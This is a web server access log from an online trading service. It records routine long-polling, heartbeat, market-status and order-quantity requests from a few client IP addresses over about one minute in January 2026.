[09/Jan/2026:09:27:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922344296 HTTP/1.1" -
[09/Jan/2026:09:27:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922360235 HTTP/1.1" -
[09/Jan/2026:09:27:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922349412 HTTP/1.1" -
[09/Jan/2026:09:27:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922347883 HTTP/1.1" -
[09/Jan/2026:09:28:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922349045 HTTP/1.1" -
[09/Jan/2026:09:28:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922350289 HTTP/1.1" -
[09/Jan/2026:09:28:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922366236 HTTP/1.1" -
[09/Jan/2026:09:28:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922354475 HTTP/1.1" -
[09/Jan/2026:09:28:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922352908 HTTP/1.1" -
[09/Jan/2026:09:28:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922355051 HTTP/1.1" -
[09/Jan/2026:09:28:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922356297 HTTP/1.1" -
[09/Jan/2026:09:28:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922359599 HTTP/1.1" -
[09/Jan/2026:09:28:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922372232 HTTP/1.1" -
[09/Jan/2026:09:28:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922357952 HTTP/1.1" -
[09/Jan/2026:09:28:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922361046 HTTP/1.1" -
[09/Jan/2026:09:28:12 +0800] 207.46.13.78 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/login.html HTTP/1.1" 1752
[09/Jan/2026:09:28:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922364729 HTTP/1.1" -
[09/Jan/2026:09:28:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922362304 HTTP/1.1" -
[09/Jan/2026:09:28:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922362986 HTTP/1.1" -
[09/Jan/2026:09:28:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 7
[09/Jan/2026:09:28:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922378229 HTTP/1.1" -
[09/Jan/2026:09:28:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 7
[09/Jan/2026:09:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 7
[09/Jan/2026:09:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 7
[09/Jan/2026:09:28:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922369867 HTTP/1.1" -
[09/Jan/2026:09:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922367054 HTTP/1.1" -
[09/Jan/2026:09:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922368008 HTTP/1.1" -
[09/Jan/2026:09:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922368296 HTTP/1.1" -
[09/Jan/2026:09:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922384229 HTTP/1.1" -
[09/Jan/2026:09:28:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:28:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:28:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922374977 HTTP/1.1" -
[09/Jan/2026:09:28:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922373033 HTTP/1.1" -
[09/Jan/2026:09:28:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:28:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:28:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922373053 HTTP/1.1" -
[09/Jan/2026:09:28:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922374290 HTTP/1.1" -
[09/Jan/2026:09:28:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922390229 HTTP/1.1" -
[09/Jan/2026:09:28:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922380114 HTTP/1.1" -
[09/Jan/2026:09:28:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922378051 HTTP/1.1" -
[09/Jan/2026:09:28:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:28:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:28:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:28:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922379713 HTTP/1.1" -
[09/Jan/2026:09:28:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922380288 HTTP/1.1" -
[09/Jan/2026:09:28:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922396225 HTTP/1.1" -
[09/Jan/2026:09:28:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922385182 HTTP/1.1" -
[09/Jan/2026:09:28:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922383068 HTTP/1.1" -
[09/Jan/2026:09:28:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922385055 HTTP/1.1" -
[09/Jan/2026:09:28:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922386291 HTTP/1.1" -
[09/Jan/2026:09:28:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922390238 HTTP/1.1" -
[09/Jan/2026:09:28:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922402223 HTTP/1.1" -
[09/Jan/2026:09:28:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922388100 HTTP/1.1" -
[09/Jan/2026:09:28:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:28:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:28:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922391057 HTTP/1.1" -
[09/Jan/2026:09:28:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922392297 HTTP/1.1" -
[09/Jan/2026:09:28:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922395387 HTTP/1.1" -
[09/Jan/2026:09:28:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922393135 HTTP/1.1" -
[09/Jan/2026:09:28:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922408227 HTTP/1.1" -
[09/Jan/2026:09:28:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922397057 HTTP/1.1" -
[09/Jan/2026:09:28:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922400542 HTTP/1.1" -
[09/Jan/2026:09:28:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922398157 HTTP/1.1" -
